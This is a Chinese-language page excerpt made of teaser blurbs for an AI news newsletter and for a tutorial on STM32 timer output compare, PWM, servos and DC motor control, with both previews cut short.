每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…...

STM32 定时器输出比较深度解析:从原理到电机控制应用 (详解)
文章目录 定时器输出比较定时器通道结构输出比较通道(高级) PWM 信号原理输出比较 8 种工作模式互补输出概念极性选择内容 PWM硬件部分舵机直流电机及驱动简介 定时器输出比较 定时器通道结构 通道组成:定时器有四个通道,以通道一为例,中间是…...